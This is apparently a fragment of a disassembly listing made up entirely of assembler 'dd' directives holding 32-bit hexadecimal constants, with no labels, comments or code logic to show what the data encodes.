		dd 0EC3FE1B4h, 5E088D1h, 0C180F4h, 2CA86311h, 0C45A72B3h
		dd 5DD11D03h, 0E021E049h, 48D034h, 278CD71Ah, 0AF827351h
		dd 2345F504h, 0A0802C3Fh, 0F8B83CCh, 85C4E996h,	0CA67DC20h
		dd 4F0061B1h, 5289E1F4h, 56306Eh, 3EF891B5h, 77C85D4Ch
		dd 247AF02h, 0B53CF96Ah, 2FB488E4h, 83086584h, 486BC4C0h
		dd 0F0152FF9h, 86F60A70h, 6C03E803h, 90D5BECAh,	509678h
		dd 0C4E414FFh, 641A595Ah, 22007476h, 0B73738F6h, 9CDD8E2h
		dd 3552D55Dh, 0FD28AC40h, 51E8C107h, 0D310630Bh, 0F1AE1D1h
		dd 6A8A1253h, 0DCFCF1C0h, 0B7017E48h, 3C8801DEh, 0B0C84A55h
		dd 0C04102F8h, 0DD43ADA3h, 0A1A7DE0h, 28D3AC05h, 0B00A1D96h
		dd 803ABE92h, 8E10A006h, 5F813Bh, 529F684Dh, 1FC6FADBh
		dd 0A46FAB3Fh, 401FDA47h, 40C424CFh, 6DDCFDE0h,	0DE7A8Bh
		dd 73E9889Fh, 6435C612h, 84A2FE00h, 53B5143Ch, 8FB207BBh
		dd 0C90A993Fh, 620DBC80h, 4950064Bh, 0A9E024E8h, 0ECF0742Ch
		dd 0E4F50940h, 375C00B0h, 0ADB6CF1h, 0D100C2BAh, 2687B8F2h
		dd 7527AFh, 9841A35Fh
		dd 948ADBA1h, 792C4EF8h, 6B002053h, 0EC67EE70h,	0CFBB007Ah
		dd 0C4956EDDh, 0CA130696h, 9B18B393h, 7666B6h, 5A9E5FD1h
		dd 0BFA0326Ch, 70C4A959h, 6DD8300h, 0E82C3323h,	68210338h
		dd 82F2E00Ah, 28D890E7h, 5300FFFBh, 917A204Ch, 4DB2D2h
		dd 4FB4211Dh, 0D9C11ECFh, 0D523A400h, 0B56D05AFh, 0E3302F98h
		dd 256C0A60h, 0A4E65A00h, 12716377h, 97A600BBh,	0C7B60369h
		dd 0A5052EA1h, 9F095DBCh, 0FD1EE9C0h, 0C5FB00F7h, 3073E844h
		dd 0E0003B16h, 0F5D12841h, 6CC6F8h, 9D256FD9h, 595E94BDh
		dd 0FEBF4F00h, 463558EBh, 0C0380064h, 0B1B50612h, 0AA00210Eh
		dd 0C607FBD6h, 82A453h,	9E37CF96h, 33998D38h, 17C91A17h
		dd 0B28C0Bh, 0D762234Ah, 0D6300FBh, 0A9141CC0h,	7517789Eh
		dd 2A1C8F65h, 0A6551580h, 7AADC5h, 0D8D608E9h, 233E523Dh
		dd 17500507h, 2C41E721h, 80DBF753h, 3D54A77h, 83FD2A75h
		dd 0B7884C68h, 300897Eh, 337A8E82h, 7604E248h, 0E4A90067h
		dd 0A2AF919Fh, 9000570Dh, 0F52EEB4Ch, 0E3AB84h,	12F37A61h
		dd 856B40A7h, 29473D00h, 7F5F729Dh, 0DCEB0022h,	0D9BC76E6h
		dd 0D7FDEE2h, 75E0BB01h, 0AE100C97h, 0DF3020h, 0D938ABCAh
		dd 14D5F270h, 0D8871B00h, 265C9EA0h, 0EEDB7691h, 1DC65851h
		dd 0E0EF7100h, 5CB8D8F9h, 77135800h, 63B370C7h,	7A69EC8Eh
		dd 1E709530h, 10C56C0h,	23FFA8h, 696FFC79h, 57742DE2h
		dd 0EE3F497Dh, 0FE6BD13h, 60CB99DCh, 0C38B3236h, 9C0C3DCFh
		dd 1F680680h, 0CE5F143Fh, 360EC7B8h, 17B482h, 28E822ECh
		dd 2C8B820h, 60348EF1h,	60D73C2Eh, 213A206h, 0EF580635h
		dd 0C878E61Bh, 70516209h, 0F6788024h, 7D5A963h,	81B33C66h
		dd 0C3D80790h, 0D2E06474h, 0B003C4FBh, 0A79D2749h, 149AA098h
		dd 4049DE96h, 75A60B48h, 67003566h, 0AA4C85E2h,	132C20B4h
		dd 193A8AFh, 0E0A361ACh, 538EC50h, 0DAF23B01h, 0E7B08967h
		dd 4BA4036Ah, 3900FBF0h, 6F26D6EAh, 8432D4h, 0A7A636F7h
		dd 0A8DDDBADh, 0C369C900h, 9AF8E05Ah, 57FF079Dh, 5325F674h
		dd 0F9B891D3h, 0C700E433h, 0AC228A64h, 0C9A15h,	0ED86A221h
		dd 8B58FD6h, 0B7FDF100h, 950D3035h, 0E1770029h,	259094D2h
		dd 0FF00EC5Dh, 4F965CF2h, 6DDA02h, 0EB073F87h, 5760D5B9h
		dd 0EAEF2700h, 4F8166DFh, 0E0E80253h, 0B6C2F1EDh, 60A6FFE0h
		dd 6A074204h, 0A4C019D4h, 13EDC4Ah, 27779276h, 6BF311F1h
		dd 86BB0802h, 7F474B3h,	8081F730h, 665EB8EFh, 0D716240Dh
		dd 0D2C32826h, 92F4E0E7h, 0C3B00086h, 78771802h, 9B7FCFFFh
		dd 98755103h, 0D11DFD5Ch, 0FC3040CCh, 9531D5Eh,	80994EB3h
		dd 0E339C3E0h, 340065A4h, 19694043h, 87B3Dh, 8B9E67B6h
		dd 6E932894h, 4F33311Eh, 5211F341h, 0AD309FB2h,	0B840020h
		dd 367C4DACh, 0DA3930F6h, 41EC05E5h, 58ACB6DBh,	0C0C9EA12h
		dd 0F23D2D84h, 3059B501h, 56666198h, 5AAFC2C0h,	0D314C050h
		dd 261F2877h, 790015F8h, 7FA422F3h, 0B4E0085h, 422FEBC1h
		dd 760031C8h, 0F03A3B80h, 0B2A18CD0h, 0D9BA0BDCh, 552383h
		dd 28991B1Dh, 8C20B740h, 5617F11Ch, 8A731E0Fh, 7574D835h
		dd 5CCC00AAh, 0B60AC6E2h, 0D892D75Eh, 7D290900h, 0C7B190E6h
		dd 379F0217h, 0F04C8843h, 67CDC0A0h, 10007686h,	158062EBh
		dd 1843470h, 0FBA96FE1h, 0D8583DF4h, 9E0F7637h,	809565EDh
		dd 35E2960Eh, 3F51B8FAh, 158033B5h, 0B13C771Ah,	0CC0139DBh
		dd 0EE84E367h, 0F8D3D40Ch, 1EBBE0A7h, 9D4EA464h, 240C354h
		dd 3805063h, 8400876Ah,	0BD6E8A2Dh, 29584Fh, 0BFA32A3Ch
		dd 1B898F63h, 0C775C500h, 0D39AEBE2h, 7F31E847h, 3E07002Ah
		dd 306B13Bh, 0D200982Dh, 0CD7C147Dh, 968EE3h, 84855E68h
		dd 0C663E456h, 0A317F3F6h, 0FC00F8AFh, 81D4EEC0h, 77C68h
		dd 71BE3725h, 26ACA793h, 0A3ED6500h, 0ADC1D4B9h, 0AD2D5806h
		dd 9435E401h, 613D2CC9h, 5870F46Dh, 2DDD4200h, 0DADB0778h
		dd 0DFC60022h, 0B21A32C1h, 4D07186Eh, 13EDAD76h, 0BE339181h
		dd 0D13BD4h, 0AECE7EB6h, 0AA9DC0A1h, 6C55C8C3h,	1A700094h
		dd 0EE0E653Dh, 0C6007DB6h, 304B9B21h, 0F4FC56h,	0A902BED7h
		dd 0BB925B3Bh, 0E880CBh, 0C51C99F0h, 20DE1EEDh,	0A204C0B1h
		dd 0F66BBE23h, 83D0FD00h, 2E94BD1h, 0AFC30EE4h,	6A006EE7h
		dd 1803075Ch, 6331880Eh, 0E6802065h, 0B7E02Ch, 0E20B1434h
		dd 1A82CF0Ch, 2A0920Ah,	3E007C3Bh, 89A15F95h, 0BA4100D4h
		dd 0D73298DFh, 5D032962h, 0EB196A13h, 9764C2D6h, 0EF0B6004h
		dd 0D3F8667Ah, 0D4002D77h, 4CFE80A2h, 0E9D053h,	3BDB6F4Ah
		dd 2AAE7BE3h, 30F24B04h, 25C09C65h, 4847FE6Ah, 0BD03A9D0h
		dd 497567D6h, 3C2559F0h, 0C5AA1701h, 0B751F501h, 367FBE0h
		dd 11C9CDEEh, 0E9F86C21h, 40068DCh, 2961FA32h, 1D142469h
		dd 0C16A0C18h, 0EEC5BC50h, 12CCE446h, 8AFC5A00h, 9299CD42h
		dd 2F4F2EA2h, 583A0055h, 819C86CAh, 0DC287404h,	5D8022B2h
		dd 1E77Ah, 6607020h, 0A68D49F6h, 83E15E39h, 23BC6B29h
		dd 98DEAB07h, 3083A943h, 0D84E648Bh, 8401D725h,	6D15722Fh
		dd 50E866EFh, 0EC39028Fh, 6065121Bh, 0ACF98C40h, 0BC0F7578h
		dd 60F305E1h, 4E3762EDh, 381400D6h, 3571D7Dh, 4800CB67h
		dd 1007E1E9h, 17BBD69h,	0CEA7451Ah, 0DCC0315Fh,	5402C864h
		dd 5E84C318h, 7B366083h, 7532F26Fh, 454D00B8h, 74F07DA2h
		dd 0B50759F3h, 757C6AB2h, 2C9DA430h, 0EE26010Ch, 0A36EFD73h
		dd 49CED85Dh, 469BAF1Eh, 0F767ADC0h, 9D959Ah, 0C1E850A2h
		dd 0C42AB8C6h, 0B596A803h, 856D77F1h, 0D3019EC0h, 0E61F855h
		dd 5E38DEF6h, 0B2B91380h, 0B7000DE7h, 71C22E2Bh, 1F966E23h
		dd 41507924h, 4D983EFCh, 0B9844054h, 7F011812h,	673FBA55h
		dd 0C5EC45FEh, 0DF4E00ACh, 3C5C08D7h, 0A9019732h, 7BEEF13Dh
		dd 0C3D45F11h, 6E6B007Dh, 488A31B2h, 860019FAh,	0AC917CA0h
		dd 0F1FC67Fh, 0F690C44Fh, 3DBDC3E0h, 260F0E93h,	0AFEFA81Ah
		dd 37740057h, 0DA18E4h,	0E699E8B9h, 1BEAF8C0h, 0D5B50B00h
		dd 0F46FEB93h, 0D7940096h, 0F9135FD0h, 0F37253F5h, 7497BC00h
		dd 6FA1168Dh, 4AB7660h,	15B9937Fh, 0B6D08309h, 85F331E8h
		dd 343EC300h, 5D49738h,	0A3FE1BC5h, 0AEB859D7h,	0BD001EBAh
		dd 3AF3D8E4h, 12290D6h,	40A7CC06h, 0E0E13BFFh, 151FFC58h
		dd 0CFC093F8h, 96368AA5h, 6B180097h, 6C49F7E5h,	3B001DDFh
		dd 0C8A81762h, 0A09238E8h, 1698388h, 369701A2h,	5372BD85h
		dd 0E1889994h, 0B30043D8h, 0E7C31EBFh, 3C8A4BB4h, 0E2894987h
		dd 88075D5h, 652FF825h,	0CB93891Ch, 0B04EA500h,	1F1704h
		dd 1AC487C8h, 0FD8E4DE1h, 25BDAA00h, 2A11812Dh,	0D77900EAh
		dd 0EF5E0593h, 1B4C9F51h, 8C42006Fh, 30A77F38h,	60EC3AC1h
		dd 0EE23D684h, 0BA18C0DFh, 32007517h, 54DEAEAFh, 7A2BE2h
		dd 0BEA31AC5h, 10E5A8Ah, 8E005C78h, 0F954366Dh,	0EBE1BAh
		dd 0F2667C12h, 0FF886A79h, 46C7760Fh, 2541E1EEh, 58F0DE73h
		dd 0A2CB00BCh, 0CAF8D3B6h, 43390E28h, 93190076h, 0C2BE993Ah
		dd 0FE400077h, 849E8B18h, 5E00F867h, 0E66E538Dh, 0BE0E4Eh
		dd 2A19C945h, 0B5ABBF90h, 0FDB16300h, 7A1A77B9h, 0CF84032Fh
		dd 0FA957430h, 206C7FE9h, 0B31FD176h, 5E416880h, 61BCED45h
		dd 0F8F5DE0h, 26012AB5h, 5C91C05Eh, 0FA13CD43h,	5A027A00h
		dd 0F328889h, 0A9A00025h
		dd 0F1788A8Dh, 120128CEh, 81663A98h, 59E0725Bh,	39C800C5h
		dd 31AEF693h, 7A0015E2h, 2F763BC1h, 4D0D86h, 9C2E46EAh
		dd 8D047079h, 711AAF03h, 0D09E0C39h, 64965Dh, 57D418E0h
		dd 0E20F618Eh, 0E598CA00h, 863760Dh, 87140081h,	0BEDEFD67h
		dd 0CD483612h, 7FFC0F65h, 8329E098h, 0F06ECFh, 0E977215Ch
		dd 958ED99Fh, 35513A03h, 0C39A4CD1h, 0BEDEFEh, 0ECAA8CEEh
		dd 0C9A37850h, 0DF9F5200h, 836B5332h, 816A07D3h, 92CCFFDDh
		dd 0C6403568h, 0AB1D74B5h, 3B20EDh, 0E81E1C1Fh,	19CB9Ch
		dd 3D8EFE3Bh, 0D69DD006h, 8009DF3Fh, 32E0FA99h,	64F0CCE7h
		dd 8040A23Eh, 90796F37h, 1DFEAF00h, 10625DEDh, 0B9F200E4h
		dd 0FCA4E2BAh, 0C11E1CFAh, 0B0CFAEC0h, 0BFBDC501h, 0F94FBB00h
		dd 0CC20FBh, 53BAD5D9h,	0F173865h, 3607DC0Eh, 80040ECFh
		dd 60C39C74h, 0FF250076h, 596EB12Eh, 5B0068EFh,	0DBAA88DDh
		dd 13377265h, 0FA80C6h,	0F2577C5Eh, 0D90038F7h,	30186461h
		dd 0C3CA9BCBh, 87629A20h, 98487AB2h, 193D34D5h,	0B3E61CFDh
		dd 67209A4Fh, 72E0D669h, 4F093h, 251E4FE2h, 0FEE4EA8Bh
		dd 0F1CF6C17h, 0E158BB01h, 7D8BBB8h, 6E930016h,	4CA9C525h
		dd 0F400BFE3h, 4F5FBEAFh, 0D19F96h, 8163AB18h, 1DE4078Ah
		dd 6B41CD00h, 4F22600Bh, 0B1DF3D42h, 6DED7580h,	96CF656Ch
		dd 4C46E004h, 0F4C0852Fh, 1DFCBC4Ah, 0C0C97351h, 68231DC4h
		dd 127F58C3h, 39876518h, 9CF4A90h, 0E386C27h, 0FFD9B0A0h
		dd 8B008616h, 3D1E48FBh, 7A2A2Bh, 0C7AC105Bh, 0C1975931h
		dd 0C89CDC00h, 0D54B5D89h, 0D01400B1h, 28270AF2h, 1B2698D7h
		dd 86038BC9h, 0B9F4FB49h, 0B440D3EEh, 5CB880CAh, 0ED008874h
		dd 7C5421E5h, 0F80F30D5h, 6356988Eh, 9F1E0547h,	2CB13BB0h
		dd 5931C1BBh, 0ECC6E243h, 0C7021050h, 550C232Bh, 6252E0AFh
		dd 30DF807h, 1F80B8BBh,	60D18E0Ah, 0B860CA28h, 0E85D1206h
		dd 0C4F70AF4h, 4F00D370h, 638C1B86h, 0DB970107h, 5E244B92h
		dd 0AC98E3CCh, 8009EEEh, 79712258h, 0EE68ADEFh,	0D62A0018h
		dd 0EBA6F73Fh, 57F2259Ch, 0F502FB1Fh, 0B940F49Dh, 0AB7BC41Ch
		dd 89530158h, 66502515h, 0EBF0249Fh, 0CC16EA07h, 20FF92A3h
		dd 0EFFD6302h, 0D6E300A8h, 669099C9h, 6D00B964h, 0E1DAB304h
		dd 14704B25h, 88755254h, 50BDF400h, 2F038BFDh, 85958h
		dd 6F675B25h, 7A15F536h, 6E920011h, 62D6C07Fh, 0D200C8A0h
		dd 1F16AF2Bh, 0B755Eh, 0C72485DBh, 35A1FBA2h, 0DF2F9400h
		dd 2E79FAFh, 370D07E6h,	0EEC662D1h, 232C809Dh, 432D7963h
		dd 0CA538100h, 9F7538BFh, 84D8DE84h, 0C03A7E3Dh, 0F9533E4Bh
		dd 26B8EF26h, 0D0D88E3Eh, 6251A039h, 0C24B24CFh, 10F85930h
		dd 0DF0BCC82h, 98E31448h, 49A19F01h, 8824B028h,	0C0E284E9h
		dd 3E8010Fh, 0A3314B3h,	3000D070h, 76B2B824h, 0BEE04Dh
		dd 604B9AE4h, 1DF2D5CBh, 8BF37300h, 1429C2B4h, 0B940144Eh
		dd 8500A8E9h, 9D5DACF6h, 7258F883h, 3CDD3BD6h, 3BC5Bh
		dd 5CF98A01h, 1AA9A41h,	0B9C9CA50h, 80F354B0h, 0FB304E08h
		dd 0D4D75Ch, 95E55183h,	0EFB78741h, 1301F4Ch, 0E15CFA56h
		dd 96E8AB8Dh, 366C0073h, 3E41A79Eh, 0F50EE092h,	804E205Ah
		dd 61B2EF01h, 9F7100E9h, 0DB7421D4h, 0EC18427Dh, 748F8FDh
		dd 4D3E006Eh, 9A381559h, 0C40049C9h, 8C76C599h,	0C1F23524h
		dd 1362E58h, 6F90DCDDh,	4E636A00h, 44288E80h, 12EF070Eh
		dd 40D42AB3h, 0BB593EFBh, 0CF61EFAh, 0D176A100h, 96804CABh
		dd 0AC410A2Eh, 84712Fh,	0DC4D12E1h, 4E2629Eh, 0BC8DC606h
		dd 8C8E37Eh, 0FAB9F477h, 4D000BBh, 0EC452C84h, 0AB7C4047h
		dd 0EBA449C1h, 0F02A1ACCh, 1000BD7Dh, 75D4988Ah, 68889B5Ah
		dd 8C4B056h, 9960CE30h,	21DA3BAAh, 5A88BEB1h, 5EE00013h
		dd 0ECB20FA5h, 0A1287672h, 0DF24BD42h, 0D07BA49h, 600F72F4h
		dd 375A8363h, 0E2AF2E1Dh, 0B94B0092h, 99A00C89h, 599C7200h
		dd 2AB278CDh, 1D8F003Bh, 0D09FF82Fh, 810C79ECh,	0FA0D616Fh
		dd 62EF0FB5h, 78259922h, 3644C049h, 2506E52Ch, 0D7D5D0A2h
		dd 0F85B0050h, 0AB0D4BFh, 3C00F528h, 792E6EEEh,	10B43BAh
		dd 0F79F3851h, 20A98959h, 3F00BC7Fh, 0C8B25B26h, 51967E1h
		dd 130A98E9h, 0C09100BAh, 5DE89DF6h, 44730D00h,	5EC711B1h
		dd 0A91300C6h, 2990AC8Eh, 0BF014AC5h, 3C807395h, 0B0FC0C30h
		dd 0BBFB3DB6h, 3D99DA8Ch, 4F0087A0h, 0A78D07E0h, 473F5Eh
		dd 6494DE83h, 2A652452h, 0EEFFB400h, 0F98F9C0Ch, 7B080084h
		dd 688ABBE5h, 89005B2Fh, 41E0E6DAh, 0B26830Bh, 677FBE35h
		dd 6D715D00h, 1E134C7Bh, 0D2017CFCh, 98161F44h,	797D55C0h
		dd 0A0D00040h, 36CEC0E5h, 0C50AFF63h, 0A0D9F868h, 8683A29Fh
		dd 0CF4ACB88h, 94005E45h, 44480865h, 99103E36h,	0C5F50D00h
		dd 0D3793578h, 0FAEE7D1Ch, 0B60CC281h, 44F05727h, 235B0046h
		dd 93221612h, 6037ECBh,	1BC1FC5Eh, 0F329C0ADh, 6004AF92h
		dd 2C65F1FBh, 73EF9301h, 0B2127D45h, 67CC0EEh, 6770DBh
		dd 0E63058F3h, 0F433CD50h, 38099600h, 774316Eh,	79AC017Fh
		dd 80E519Ch, 8F39CC75h,	0F84DD600h, 64588966h, 0D43D00C4h
		dd 4F522A26h, 9901B01Bh, 45693319h, 7AD0DDAEh, 72960050h
		dd 20CAC402h, 2B003730h, 0B2B1F260h, 1F89D062h,	0EA33A2ACh
		dd 877400F0h, 99086E42h, 0C701BD03h, 35A23A02h,	2BEC6C41h
		dd 33F500C3h, 0E0821121h, 0D5FE38FDh, 4964DB00h, 616A9098h
		dd 0E8CA3C2Ah, 0E948C900h, 4CF0F747h, 53AE8B0Ch, 841124h
		dd 0D9B9139Dh, 0A6A36EE4h, 0FC0798E6h, 0DFFF42B4h, 18869D43h
		dd 10129FD0h, 10365DEh,	0D5C52D7Bh, 9E32A0C2h, 22AB0004h
		dd 2887331Bh, 0A176054Ch, 8EE02EFDh, 624113D8h,	79F618D3h
		dd 16009AAEh, 872CD5CDh, 0B990B6h, 0D3D6DA9Ch, 72786B34h
		dd 6CF32F0Eh, 65C60BFh,	48704282h, 0E900BA15h, 4AFF10DAh
		dd 0BC001712h, 8E215B0Fh, 7E5D78h, 9944273Ch, 0B84E2EAEh
		dd 6D22D500h, 0D2FE23C0h, 75503F7h, 0C4CC83E3h,	5953F0F7h
		dd 3007B04h, 0CECB0A77h, 0A08FCAh, 5B22F2AFh, 53750C6h
		dd 0C1202800h, 352F96BAh, 1F0E482Ah, 742DB00h, 0BDC7797Bh
		dd 55570500h, 2C9D7D0h,	368A24B5h, 0D4FD0070h, 2C03642Dh
		dd 0A9BDAE00h, 380E972Ah, 0DB053F4Ah, 0E1243D80h, 49DEEFB3h
		dd 15721800h, 8DD04F1Ch, 0A6B0001Ah, 7F747033h,	48FA3E57h
		dd 0A9520B00h, 4531C5E4h, 1B2C1599h, 9D4CB09Ch,	0CEBAF073h
		dd 0AC001638h, 3AEF1240h, 4EE65507h, 3CE0B15Bh,	0D17C11h
		dd 0E1C90901h, 906EE941h, 0F190427Ch, 0FF00337Eh, 9604D92Eh
		dd 851B39h, 0FE37DC02h,	0C01C977Ch, 6B00F3FEh, 0B41E75DAh
		dd 0F63FF4h, 7B694605h,	0CFC20FEBh, 5A113612h, 57B5BA00h
		dd 8BA04Ch, 0E6143033h,	7432E004h, 0E84B862Ah, 0B0369100h
		dd 3EEB6AA0h, 0C18707DFh, 0C02A4AE9h, 39E37350h, 9CCDB30Bh
		dd 3F16800Ch, 90236BEAh, 0AF632440h, 0F495E270h, 87A86160h
		dd 21DCA700h, 99232976h, 0E0B40142h, 9F5024A6h,	918140D1h
		dd 0DE775CA3h, 99000773h, 0EEB0F5Eh, 27AD19h, 37DAFDCAh
		dd 0BC02B003h, 0CF55F500h, 806C2847h, 7E90008Ch, 0A06EDB5Fh
		dd 8500E584h, 0FB739E4Ch, 2AA2843h, 0B99602C8h,	0F84099F3h
		dd 9C92985Bh, 372DF603h, 0C872D28Bh, 8C75F3h, 0DE69BF46h
		dd 0C9DA7993h, 51C3B602h
		dd 603FED5Bh, 661100h, 9E3A0383h, 2BDBF18Fh, 251DD100h
		dd 4DB1073Eh, 0EAB60088h, 625265D2h, 90983292h,	77854800h
		dd 3821AC8Dh, 63D200E8h, 0A0BF72E5h, 98139969h,	0F518D41Eh
		dd 0B71280h, 0F0B66BB9h, 0ABA18E2Fh, 0DCEE5300h, 2C6DBF6Eh
		dd 29A300B2h, 4C8DEB38h, 2073096h, 0FFC45D53h, 0D180BED4h
		dd 5499CEh, 4136D3A4h, 0A5A630C1h, 0B44FB00h, 0BFC59CD5h
		dd 384A00C6h, 3F2DCD57h, 0A0006367h, 7B4B8A3Bh,	9A7A05h
		dd 0A1DEA98Eh, 934E1A7Fh, 39902400h, 0B21352F6h, 634F12D2h
		dd 0B540099h, 8A8CD0B1h, 0BD423003h, 0C01AD953h, 3E15ECEh
		dd 4F63D16Dh, 3FC80EB3h, 56E4E7C8h, 0D8902FF0h,	0F0730400h
		dd 3142A095h, 79F8B1h, 20912F2h, 5ACD0551h, 78F6500h, 0CF497C1Bh
		dd 5FA35C46h, 91203B00h, 0D42DBA7Fh, 0D1E44300h, 33D6954Dh
		dd 0C8BB006Dh, 7588D283h, 0C916B657h, 2C00748Eh, 94A83A3Fh
		dd 0FC501E33h, 0F4050038h, 0ED90A044h, 0D2D49500h, 4118A124h
		dd 73E4A1E7h, 6FBC60h, 380442D1h, 0C16C5D45h, 0B32E2890h
		dd 48134560h, 67AD3900h, 1670F69Dh, 39E456h, 0C1A43840h
		dd 0B60CC2B4h, 208C2C55h, 461016DEh, 160700ECh,	87DC3BBh
		dd 0A137850Eh, 9D4940B3h, 6BAB9Ch, 733E6E81h, 605C09EDh
		dd 0C8CD3703h, 9A699AF2h, 4CE4C090h, 7C2E4EAh, 0E8A08214h
		dd 2F7BA326h, 0C4F02483h, 800389Eh, 7FA3374Bh, 15348F1h
		dd 0BE9010C1h, 0F4888BC3h, 1C0003B8h, 59DE1AFBh, 5493C9h
		dd 4A025ABh, 60429156h,	0BCD1243Fh, 7F97002Bh, 961B218h
		dd 0A7EA1867h, 22E330DAh, 0B8FB4A3Ch, 92143D53h, 0F008CB5h
		dd 0C456D127h, 376B0092h, 86A632F9h, 0C20E4440h, 80DE52F4h
		dd 0DCD47DDFh, 7CACF426h, 0D3530037h, 8C63F005h, 56764D48h
		dd 0FE404B00h, 0CD1A9A13h, 0ED9F0020h, 87D2020Bh, 50044ADh
		dd 3ACFF9B3h, 0B6171Ah,	3068329Eh, 4E93EF25h, 84D19A00h
		dd 0D79FBB89h, 549E003Ch, 1E504CEDh, 68983948h,	0B0C5B00h
		dd 966C992h, 3760F9C4h,	538807FCh, 897B369Eh, 312F07h
		dd 0B6EF4B51h, 4C470401h, 5C95A569h, 8800561h, 182663C8h
		dd 0CA003EF6h, 9CD64ABFh, 366D1h, 51FD6091h, 3A13985Ah
		dd 0C5F1C801h, 0C9F04FDEh, 37B15E4h, 0BDBEF582h, 8600CF80h
		dd 20AA4E5h, 794AEE8Bh,	0E9B7ACAh, 0EA613E11h, 0F9FDC980h
		dd 0D900D4B8h, 2328321Dh, 38E0385h, 364634CAh, 0DA98A80Bh
		dd 4EF24B0Eh, 5D0BB275h, 68CBE9h, 0B111D006h, 1F2EFA2Ch
		dd 0C0DA7224h, 68ACD60Bh, 1D00ECFDh, 9E73BDE4h,	0C11458h
		dd 5C86EF2h, 0F85AFF11h, 0CACB9204h, 10A1BFA7h,	6A41F4h
		dd 86E01167h, 0EBDD87B5h, 219B8F30h, 680709h, 0C858A953h
		dd 3497A089h, 10023C06h, 13C998B1h, 408D6CF0h, 0C054D6ACh
		dd 157E74D0h, 0FD164607h, 4A20915Bh, 18BFB3h, 5019D487h
		dd 4B845D5Ah, 0B0621300h, 53636877h, 30990E1h, 0C1F8B341h
		dd 590089F5h, 46DA3F71h, 0FE0BD88Fh, 1481E63Bh,	6C448B10h
		dd 80982310h, 8767A521h, 88A0878Fh, 62E96C80h, 2C1C4572h
		dd 59414C13h, 74C38833h, 5FD93C0h, 5B7065B0h, 0E03B8783h
		dd 0A84067F2h, 79E9F800h, 811D4806h, 0EE190015h, 0A4A96214h
		dd 91057DECh, 8DAD9425h, 0FD9024C0h, 86BA002Fh,	891DE85Fh
		dd 82E78F6h, 2C00D8A5h,	97DD29B3h, 9CE49Ah, 2A7CFFA4h
		dd 0D208FEF2h, 6535EA00h, 85DE10A7h, 3ECC007Ah,	0A1C973D0h
		dd 4000CE0Bh, 0D923BB84h, 56D203h, 0B575A8D4h, 0B62E210Eh
		dd 0FC72803h, 0F0E6BA1Fh, 7FE548h, 0F9EA53C3h, 4C93E3D1h
		dd 0EE0E0CEEh, 3EB3A7ADh, 3D54DB40h, 591337Ah, 1CC0FD5Ch
		dd 4AA000C8h, 0D9DAD9Eh, 2BED4500h, 8C192F5Dh, 7C844C68h
		dd 4C2A940Ah, 0DB6F80CCh, 7AEC99BDh, 5A864600h,	932CCC55h
		dd 2E95008Dh, 3B9CFF96h, 9005E68h, 14694AABh, 3EED5CECh
		dd 9E0760C8h, 8011D1E0h, 470B0538h, 0C7672F00h,	64F7AFA7h
		dd 0A59A2F6Bh, 0E50007D4h, 17D2BD12h, 92CB0A83h, 1BFEAFFh
		dd 0DAB20D85h, 41080C7h, 1E777F03h, 97660034h, 1EBB9CEh
		dd 330940DDh, 1C9AC8h, 0B128713Ch, 2E153B52h, 8307D500h
		dd 0EC876619h, 7A530A00h, 498D2928h, 0D79D0015h, 2D1DE0A7h
		dd 33198519h, 6110AD65h, 43270450h, 90A47C3Fh, 28D90040h
		dd 88D512C5h, 401CCC95h, 0AA80AFE6h, 0A5E793E0h, 0B8B300A9h
		dd 65283937h, 58007CB9h, 0EDD1F3A2h, 0E24B52Eh,	0FC404738h
		dd 16F84141h, 0C77520D7h, 0EC7BDD05h, 341CBA15h, 81419FC7h
		dd 0ED1A5110h, 548601EFh, 0A422E688h, 0B123E4A2h, 12004AB0h
		dd 0C3810ED1h, 0CF5BF5h, 8D32D4AEh, 9864C34h, 528F3900h
		dd 0BAC0AFEBh, 72D512FAh, 8CFB005Ch, 79D90C63h,	88D8222Eh
		dd 2245E00h, 0DE2D6Bh, 0F1A086B5h, 6D85C32Eh, 58D5C033h
		dd 9980A328h, 0C0DB83BFh, 153AA14h, 0FCA9D73Dh,	702B9FF6h
		dd 0A4A0975Ch, 0F405E5E4h, 646D6125h, 0CA4CF580h, 22CC00DAh
		dd 0FB90B23h, 0E100B8C7h, 6F5E6AABh, 3DE811h, 0DFED22C5h
		dd 6C72C25Dh, 45EAD805h, 0D00062FCh, 1928140Ch,	907E02E9h
		dd 0CD4C6B40h, 71005F74h, 0AAB7597Fh, 0A5BF0F66h, 1200A696h
		dd 68B20A2Bh, 0D192F900h, 0DAE5665h, 1474E806h,	943355FFh
		dd 0A9F01100h, 0B2C2D62Ch, 39789Fh, 4D084BF4h, 0FF72D967h
		dd 51496D01h, 37E861B7h, 3B430BF8h, 0A078371h, 43E48710h
		dd 0C8B87699h, 0EB07305Eh, 69C0819Bh, 0AB60A0B7h, 1C5B501h
		dd 0D4CD602Dh, 0E8CC41B9h, 2A1C027Fh, 0F90F56EBh, 0BBD6206Bh
		dd 5565993Ah, 40E2A881h, 4CA8D37Dh, 1500B88Dh, 80A21C5Ch
		dd 90034418h, 0F61AE64Eh, 381FE8AEh, 674A009Fh,	0F7E9B4FCh
		dd 0F300312Dh, 7E45E89Bh, 2C3C8BCh, 0A7DC645Ah,	0B8809648h
		dd 1A4E2B9Ch, 0FC70A360h, 0CFDBF4h, 5CF83DEAh, 0C4477BDEh
		dd 7CA90400h, 15278026h, 8770F3h, 32E4E8F6h, 0D3CADFBFh
		dd 45AC5801h, 760C801Bh, 376F30h, 0E5B37101h, 2C52D5C5h
		dd 3322C80Fh, 0E78DC08Bh, 48EB3968h, 0B680C42Bh, 2EE9BDB9h
		dd 0D71FA200h, 0AE0B9DB7h, 0A3280013h, 6255B1FEh, 0D101E5FBh
		dd 76F9036Ch, 6D03B7Bh,	0CEF2DDh, 545B582Dh, 0D37357CBh
		dd 7172BE00h, 328B741Ch, 0DD900E8h, 803309E0h, 0B41E528Dh
		dd 0F900BA6Ah, 4A85506Fh, 225073Bh, 0FC6BE3h, 351AC6E7h
		dd 73822200h, 9BE0BA72h, 3A270016h, 85B7B318h, 0AA77B02Ch
		dd 0F0870C00h, 3E56FA60h, 0E32F0050h, 1BB30A7Eh, 0BA177326h
		dd 0C2009455h, 4250C68Eh, 0EBA100FDh, 0AC9FA3C8h, 441F36E0h
		dd 335F77DDh, 8E6E1EC6h, 1D7BF058h, 0AAC18Dh, 0A44A3CF1h
		dd 1A073027h, 14CA0A59h, 521BD031h, 0DA2DF8h, 0B15E53B0h
		dd 85F48671h, 0E69E700h, 0C7C316B4h, 0F5098BBh,	5D740B02h
